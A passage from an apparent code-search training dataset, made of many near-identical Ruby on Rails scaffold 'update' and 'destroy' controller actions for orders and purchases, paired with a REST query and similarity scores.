"def update\n respond_to do |format|\n if @purchase.update(purchase_params)\n format.html { redirect_to @purchase, notice: 'Purchase was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @purchase.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @sale_order = current_company.sale_orders.find(params[:id])\n\n respond_to do |format|\n if @sale_order.update_attributes(params[:sale_order])\n format.html { redirect_to sale_orders_path, notice: 'Sale order was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @sale_order.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @order = Order.find(params[:id])\n\n respond_to do |format|\n if @order.update_attributes(params[:order])\n format.html { redirect_to @order, :notice => 'Order was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @order.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @order = Order.find(params[:id])\n\n respond_to do |format|\n if @order.update_attributes(params[:order])\n format.html { redirect_to @order, notice: 'Order was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @order = Order.find(params[:id])\n\n respond_to do |format|\n if @order.update_attributes(params[:order])\n format.html { redirect_to @order, notice: 'Order was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @order = Order.find(params[:id])\n\n respond_to do |format|\n if @order.update_attributes(params[:order])\n format.html { redirect_to @order, notice: 'Order was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @order = Order.find(params[:id])\n\n respond_to do |format|\n if @order.update_attributes(params[:order])\n format.html { redirect_to @order, notice: 'Order was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @order = Order.find(params[:id])\n\n respond_to do |format|\n if @order.update_attributes(params[:order])\n format.html { redirect_to @order, notice: 'Order was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @order = Order.find(params[:id])\n\n respond_to do |format|\n if @order.update_attributes(params[:order])\n format.html { redirect_to @order, notice: 'Order was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @order = Order.find(params[:id])\n\n respond_to do |format|\n if @order.update_attributes(params[:order])\n format.html { redirect_to @order, notice: 'Order was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @order = Order.find(params[:id])\n\n respond_to do |format|\n if @order.update_attributes(params[:order])\n format.html { redirect_to @order, notice: 'Order was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @order = Order.find(params[:id])\n\n respond_to do |format|\n if @order.update_attributes(params[:order])\n format.html { redirect_to @order, notice: 'Order was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @order = Order.find(params[:id])\n\n respond_to do |format|\n if @order.update_attributes(params[:order])\n format.html { redirect_to @order, notice: 'Order was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @order = Order.find(params[:id])\n\n respond_to do |format|\n if @order.update_attributes(params[:order])\n format.html { redirect_to @order, notice: 'Order was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @order = Order.find(params[:id])\n\n respond_to do |format|\n if @order.update_attributes(params[:order])\n format.html { redirect_to @order, notice: 'Order was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @order = Order.find(params[:id])\n\n respond_to do |format|\n if @order.update_attributes(params[:order])\n format.html { redirect_to @order, notice: 'Order was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @order = Order.find(params[:id])\n\n respond_to do |format|\n if @order.update_attributes(params[:order])\n format.html { redirect_to @order, notice: 'Order was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @order = Order.find(params[:id])\n\n respond_to do |format|\n if @order.update_attributes(params[:order])\n format.html { redirect_to @order, notice: 'Order was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @order = Order.find(params[:id])\n\n respond_to do |format|\n if @order.update_attributes(params[:order])\n format.html { redirect_to @order, notice: 'Order was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @order = Order.find(params[:id])\n\n respond_to do |format|\n if @order.update_attributes(params[:order])\n format.html { redirect_to @order, notice: 'Order was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @order = Order.find(params[:id])\n\n respond_to do |format|\n if @order.update_attributes(params[:order])\n format.html { redirect_to @order, notice: 'Order was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @order = Order.find(params[:id])\n\n respond_to do |format|\n if @order.update_attributes(params[:order])\n format.html { redirect_to @order, notice: 'Order was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @order = Order.find(params[:id])\n\n respond_to do |format|\n if @order.update_attributes(params[:order])\n format.html { redirect_to @order, notice: 'Order was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @order = Order.find(params[:id])\n\n respond_to do |format|\n if @order.update_attributes(params[:order])\n format.html { redirect_to @order, notice: 'Order was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @order = Order.find(params[:id])\n\n respond_to do |format|\n if @order.update_attributes(params[:order])\n format.html { redirect_to @order, notice: 'Order was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @order = Order.find(params[:id])\n\n respond_to do |format|\n if @order.update_attributes(params[:order])\n format.html { redirect_to @order, notice: 'Order was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @order = Order.find(params[:id])\n\n respond_to do |format|\n if @order.update_attributes(params[:order])\n format.html { redirect_to @order, notice: 'Order was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @order = Order.find(params[:id])\n\n respond_to do |format|\n if @order.update_attributes(params[:order])\n format.html { redirect_to order_url(@order), notice: I18n.t('orders.successfully_updated') }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @order = Order.find(params[:id])\n\n respond_to do |format|\n if @order.update_attributes(order_params)\n format.html { redirect_to @order, notice: 'Order was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @order.update(order_params)\n format.html { redirect_to @order, notice: 'Order was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n end\n\n end",
"def update\n @order1 = Order1.find(params[:id])\n\n respond_to do |format|\n if @order1.update_attributes(params[:order1])\n format.html { redirect_to stores_path, notice: 'Order1 was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @order1.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @order = Order.find(params[:id])\n\n respond_to do |format|\n if @order.update_attributes(params[:order])\n format.html { redirect_to @order, notice: 'Order was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @order = Order.find(params[:id])\n\n respond_to do |format|\n if @order.update_attributes(params[:order])\n format.html { redirect_to @order, notice: 'Order was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @order = Order.find(params[:id])\n\n respond_to do |format|\n if @order.update_attributes(params[:order])\n format.html { redirect_to orders_url, notice: 'Order was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if order.update(order_params)\n format.html { redirect_to order, notice: 'Order was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: order.errors, status: ':unprocessable_entity' }\n end\n end\n end",
"def update\n respond_to do |format|\n if @order.update(order_params)\n format.html { redirect_to @order, notice: 'Order was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @order.update(order_params)\n format.html { redirect_to @order, notice: 'Order was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @order.update(order_params)\n format.html { redirect_to @order, notice: 'Order was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @order.update(order_params)\n format.html { redirect_to @order, notice: 'Order was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @order.update(order_params)\n format.html { redirect_to @order, notice: 'Order was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @order.update(order_params)\n format.html { redirect_to @order, notice: 'Order was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @order.update(order_params)\n format.html { redirect_to @order, notice: 'Order was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @order.update(order_params)\n format.html { redirect_to @order, notice: 'Order was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @order.update(order_params)\n format.html { redirect_to @order, notice: 'Order was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @order.update(order_params)\n format.html { redirect_to @order, notice: 'Order was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @order.update(order_params)\n format.html { redirect_to @order, notice: 'Order was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @order.update(order_params)\n format.html { redirect_to @order, notice: 'Order was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @order.update(order_params)\n format.html { redirect_to @order, notice: 'Order was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @order.update(order_params)\n format.html { redirect_to @order, notice: 'Order was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @order.update(order_params)\n format.html { redirect_to @order, notice: 'Order was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render 'edit' }\n format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @order.update(order_params)\n format.html { redirect_to orders_path, notice: 'Order was successfully updated.' }\n format.json { render :show, status: :ok, location: @orders_path }\n else\n format.html { render :edit }\n format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @order_detail = OrderDetail.find(params[:id])\n\n respond_to do |format|\n if @order_detail.update_attributes(params[:order_detail])\n format.html { redirect_to @order_detail, :notice => 'Line item was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @order_detail.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @cart = current_cart\n @order = Order.find(params[:id])\n\n respond_to do |format|\n if @order.update_attributes(params[:order])\n format.html { redirect_to @order, notice: 'Order was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n\t\trespond_to do |format|\n\t\t\tif @order.update(order_params)\n\t\t\t\tformat.html { redirect_to @order, notice: 'Order was successfully updated.' }\n\t\t\t\tformat.mobile { redirect_to @order, notice: 'Order was successfully updated.' }\n\t\t\t\tformat.json { head :no_content }\n\t\t\telse\n\t\t\t\tformat.html { render action: 'edit' }\n\t\t\t\tformat.mobile { render action: 'edit' }\n\t\t\t\tformat.json { render json: @order.errors, status: :unprocessable_entity }\n\t\t\tend\n\t\tend\n\tend",
"def update\n respond_to do |format|\n if @purchase.update(purchase_params)\n format.html { redirect_to @purchase, notice: 'Purchase was successfully updated.' }\n format.json { render :show, status: :ok, location: @purchase }\n else\n format.html { render :edit }\n format.json { render json: @purchase.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @purchase.update(purchase_params)\n format.html { redirect_to @purchase, notice: 'Purchase was successfully updated.' }\n format.json { render :show, status: :ok, location: @purchase }\n else\n format.html { render :edit }\n format.json { render json: @purchase.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n params[:order][:existing_order_product_presentations_attributes] ||= {}\n @order = Order.find(params[:id])\n\n respond_to do |format|\n if @order.update_attributes(params[:order])\n notice('updated', Order.human_name)\n format.html { redirect_to(@order) }\n format.xml { head :ok }\n else\n error('no_update')\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @order.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @order.update(order_params)\n format.html { redirect_to @order, notice: t('app.orders.update.success') }\n format.json { render :show, status: :ok, location: @order }\n else\n format.html { render :edit }\n format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @order.update(order_params)\n format.html { redirect_to @order, notice: t('orders.creat')}\n format.json { render :show, status: :ok, location: @order }\n else\n format.html { render :edit }\n format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @order.update(order_params)\n format.html { redirect_to @order, flash: { sucess: 'Order was successfully updated.' } }\n format.json { render :show, status: :ok, location: @order }\n else\n format.html { render :edit }\n format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @order.update(order_params)\n format.html do\n redirect_to @order, notice: 'Product was successfully updated.'\n end\n format.json do\n render :show, status: :ok, location: @order\n end\n else\n format.html do\n render :edit\n end\n format.json do\n render json: @order.errors, status: :unprocessable_entity\n end\n end\n end\n end",
"def update\n respond_to do |format|\n if @custom_cake_order.update(custom_cake_order_params)\n format.html { redirect_to @custom_cake_order, notice: 'Custom cake order was successfully updated.' }\n format.json { render :show, status: :ok, location: @custom_cake_order }\n else\n format.html { render :edit }\n format.json { render json: @custom_cake_order.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @order.update(order_params)\n format.html { redirect_to @order, notice: 'Order was successfully updated.' }\n format.json { render :show, status: :ok, location: @order }\n else\n format.html { render :edit }\n format.json { render json: @order.errors, status: :unprocessable_entity, response: request.body.read }\n end\n end\n end",
"def update\n respond_to do |format|\n if @customer_purchase.update(customer_purchase_params)\n format.html { redirect_to @customer_purchase, notice: 'Customer purchase was successfully updated.' }\n format.json { render :show, status: :ok, location: @customer_purchase }\n else\n format.html { render :edit }\n format.json { render json: @customer_purchase.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @order.update(order_params)\n format.html { redirect_to @order, notice: t('Order was successfully updated') }\n format.json { render :show, status: :ok, location: @order }\n else\n format.html { render :edit }\n format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @order.update(order_params)\n format.html { redirect_to @order, notice: 'Order was successfully updated.' }\n format.json { render :show, status: :ok, location: @order }\n else\n format.html { render :edit }\n format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @order.update(order_params)\n format.html { redirect_to @order, notice: 'Order was successfully updated.' }\n format.json { render :show, status: :ok, location: @order }\n else\n format.html { render :edit }\n format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @order.update(order_params)\n format.html { redirect_to @order, notice: 'Order was successfully updated.' }\n format.json { render :show, status: :ok, location: @order }\n else\n format.html { render :edit }\n format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @order.update(order_params)\n format.html { redirect_to @order, notice: 'Order was successfully updated.' }\n format.json { render :show, status: :ok, location: @order }\n else\n format.html { render :edit }\n format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @order.update(order_params)\n format.html { redirect_to @order, notice: 'Order was successfully updated.' }\n format.json { render :show, status: :ok, location: @order }\n else\n format.html { render :edit }\n format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @order.update(order_params)\n format.html { redirect_to @order, notice: 'Order was successfully updated.' }\n format.json { render :show, status: :ok, location: @order }\n else\n format.html { render :edit }\n format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @order.update(order_params)\n format.html { redirect_to @order, notice: 'Order was successfully updated.' }\n format.json { render :show, status: :ok, location: @order }\n else\n format.html { render :edit }\n format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @order.update(order_params)\n format.html { redirect_to @order, notice: 'Order was successfully updated.' }\n format.json { render :show, status: :ok, location: @order }\n else\n format.html { render :edit }\n format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n end\n end"
] |
[
"0.69700235",
"0.69230294",
"0.68830836",
"0.6866676",
"0.68090886",
"0.67963797",
"0.67452705",
"0.6724078",
"0.6710528",
"0.6683274",
"0.6683274",
"0.6602721",
"0.65918726",
"0.6586257",
"0.656877",
"0.6555165",
"0.6555165",
"0.6555165",
"0.6540841",
"0.6539376",
"0.65237105",
"0.6498737",
"0.6486725",
"0.64606506",
"0.6446521",
"0.6441709",
"0.6439991",
"0.64367497",
"0.6435363",
"0.64233327",
"0.6421926",
"0.6421926",
"0.6421926",
"0.6421926",
"0.6421926",
"0.6421926",
"0.6421926",
"0.6421926",
"0.6421926",
"0.6421926",
"0.6421926",
"0.6421926",
"0.6421926",
"0.6421926",
"0.6421926",
"0.6421926",
"0.6421926",
"0.6421926",
"0.6421926",
"0.6421926",
"0.6421926",
"0.6421926",
"0.6421926",
"0.6421717",
"0.64178973",
"0.64087445",
"0.6407259",
"0.64063793",
"0.6401374",
"0.6401374",
"0.6400323",
"0.6393402",
"0.6388117",
"0.6388117",
"0.6388117",
"0.6388117",
"0.6388117",
"0.6388117",
"0.6388117",
"0.6388117",
"0.6388117",
"0.6388117",
"0.6388117",
"0.6388117",
"0.6388117",
"0.6388117",
"0.6383692",
"0.6374452",
"0.6359043",
"0.635844",
"0.6355118",
"0.6350146",
"0.6350146",
"0.63468647",
"0.6342611",
"0.6333107",
"0.63329524",
"0.63299716",
"0.6327639",
"0.6326652",
"0.63236886",
"0.63218147",
"0.63174707",
"0.6317342",
"0.63167155",
"0.63167155",
"0.63167155",
"0.63167155",
"0.63167155",
"0.63167155"
] |
0.65860564
|
14
|
DELETE /purchase_orders/1 DELETE /purchase_orders/1.json
|
def destroy
@purchase_order.destroy
respond_to do |format|
format.html {
flash[:notice] = 'La Orden de Compra se eliminó satisfactoriamente.'
redirect_to purchase_orders_path
}
format.json { head :no_content }
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def destroy\n @purchase.destroy\n respond_to do |format|\n format.json { head :no_content }\n end\n end",
"def destroy\n @purchaseorder = Purchaseorder.find(params[:id])\n @purchaseorder.destroy\n\n respond_to do |format|\n format.html { redirect_to purchaseorders_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @purchase = Purchase.find(params[:id])\n @purchase.destroy\n\n respond_to do |format|\n format.html { redirect_to purchases_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @purchase = Purchase.find(params[:id])\n @purchase.destroy\n\n respond_to do |format|\n format.html { redirect_to purchases_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @purchase_order.record_activity(:delete, current_user, \"Deleted PO\")\n @purchase_order.destroy\n respond_to do |format|\n\n format.html { redirect_to purchase_orders_url, notice: \"Purchase Order #{@purchase_order.po_id} has been deleted.\" }\n format.json { head :no_content }\n end\n end",
"def destroy\n @purchase.destroy\n respond_to do |format|\n format.html { redirect_to purchase_path }\n format.json { head :no_content }\n end\n end",
"def destroy\n @purchase = Purchase.find(params[:id])\n @purchase.destroy\n\n respond_to do |format|\n format.html { redirect_to purchases_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @purchase = Purchase.find(params[:id])\n @purchase.destroy\n\n respond_to do |format|\n format.html { redirect_to purchases_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @purchase = Purchase.find(params[:id])\n @purchase.destroy\n\n respond_to do |format|\n format.html { redirect_to purchases_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @purchase = Purchase.find(params[:id])\n @purchase.destroy\n\n respond_to do |format|\n format.html { redirect_to purchases_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @purchase = Purchase.find(params[:id])\n @purchase.destroy\n\n respond_to do |format|\n format.html { redirect_to purchases_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @purchase_order.destroy\n respond_to do |format|\n format.html { redirect_to purchase_orders_url, notice: 'Purchase order was successfully deleted.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n\n @purchase.destroy\n respond_to do |format|\n\n format.html { redirect_to purchases_url }\n format.json { head :no_content }\n end\n\n end",
"def destroy\n @purchase = Purchase.find(params[:purchase_id])\n @purchase_item = @purchase.purchase_items.find(params[:id])\n @purchase_item.destroy\n\n respond_to do |format|\n format.html { redirect_to purchase_path(@purchase) }\n format.json { head :no_content }\n end\n end",
"def destroy\n @order_item.destroy\n\n render json: { operation: 'OK' }, status: :ok\n end",
"def destroy\n @purchase_order.destroy\n respond_to do |format|\n format.html { redirect_to purchase_orders_url, notice: \"Purchase order was successfully destroyed.\" }\n format.json { head :no_content }\n end\n end",
"def destroy\n @purchaseorder.destroy\n respond_to do |format|\n format.html { redirect_to purchaseorders_url, notice: 'Purchaseorder was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @purchase_order.destroy\n respond_to do |format|\n format.html { redirect_to admin_purchase_orders_url, notice: 'Purchase order was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @v1_order = V1::Order.find(params[:id])\n @v1_order.destroy\n\n head :no_content\n end",
"def destroy\n @purchases.destroy\n respond_to do |format|\n format.html { redirect_to purchases_url, notice: 'Purchase deleted with success.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @shop_purchase = Shop::Purchase.find(params[:id])\n @shop_purchase.destroy\n\n respond_to do |format|\n format.html { redirect_to shop_purchases_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @purchase = @customer.purchases.find(params[:id])\n if @purchase.destroy\n render status: 200, json: { message: \"Purchase deleted.\" }\n else\n render status: 500, json: { message: \"Purchase could not be deleted.\" }\n end\n end",
"def destroy\n @purchase.destroy\n respond_to do |format|\n format.html { redirect_to purchases_url, notice: 'Purchase was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @purchase.destroy\n respond_to do |format|\n format.html { redirect_to purchases_url, notice: 'Purchase was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @purchase.destroy\n respond_to do |format|\n format.html { redirect_to purchases_url, notice: 'Purchase was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @purchase.destroy\n respond_to do |format|\n format.html { redirect_to purchases_url, notice: 'Purchase was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @purchase_order_item = PurchaseOrderItem.find(params[:id])\n @purchase_order_item.destroy\n\n respond_to do |format|\n format.html { redirect_to purchase_order_items_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @analytics_purchase.destroy\n respond_to do |format|\n format.html { redirect_to analytics_purchases_url, notice: 'Analytics purchase was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @purchase_order.destroy\n respond_to do |format|\n format.html { \n flash[:notice] = 'La orden de compra se eliminó satisfactoriamente.'\n redirect_to purchase_orders_path\n }\n format.json { head :no_content }\n end\n end",
"def destroy\n @purchase.destroy\n respond_to do |format|\n format.html { redirect_to purchases_url, notice: 'Transaction was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @purchase_order.destroy\n end",
"def destroy\n # find ALL servings associated with this purchase and delete them\n all_servings = Serving.where(purchase_id: @purchase.id)\n puts \"all servings associated with this purchase: #{all_servings}\"\n all_servings.destroy_all\n puts \"deleted servings\"\n @purchase.destroy\n puts \"deleted purchase\"\n render json: {status: 204, purchase: @purchase}\n end",
"def destroy\n @order1 = Order1.find(params[:id])\n @order1.destroy\n\n respond_to do |format|\n format.html { redirect_to order1s_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @purchase_order.destroy\n respond_to do |format|\n format.html { redirect_to purchase_orders_url, notice: 'Orden de Compra eliminada.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @purchase.destroy\n respond_to do |format|\n format.html { redirect_to purchases_url, notice: t(\"activerecord.models.purchase\") + t(\"messages.successfully_destroyed\") }\n format.json { head :no_content }\n end\n end",
"def destroy\n @purchase = Purchase.find(params[:id])\n @purchase.destroy\n\n respond_to do |format|\n format.html { redirect_to(admin_purchases_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @order.destroy\n respond_to do |format|\n render json: {success: true, status: :ok} \n end\n end",
"def destroy\n @purchase_datum.destroy\n respond_to do |format|\n format.html { redirect_to purchase_data_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @purchase = Purchase.find(params[:id])\n @purchase.destroy\n\n respond_to do |format|\n format.html { redirect_to(purchase_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n #@order = Order.find(params[:id])\n @order.destroy\n\n respond_to do |format|\n format.html { redirect_to orders_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n order.destroy\n\n respond_to do |format|\n format.html { redirect_to orders_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @customer_purchase.destroy\n respond_to do |format|\n format.html { redirect_to customer_purchases_url, notice: 'Customer purchase was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @purchase.destroy\n\n head :no_content\n end",
"def destroy\n @repurchase = Repurchase.find(params[:id])\n @repurchase.destroy\n\n respond_to do |format|\n format.html { redirect_to repurchases_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @purchasedetail.destroy\n respond_to do |format|\n format.html { redirect_to purchasedetails_url, notice: 'Purchasedetail was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
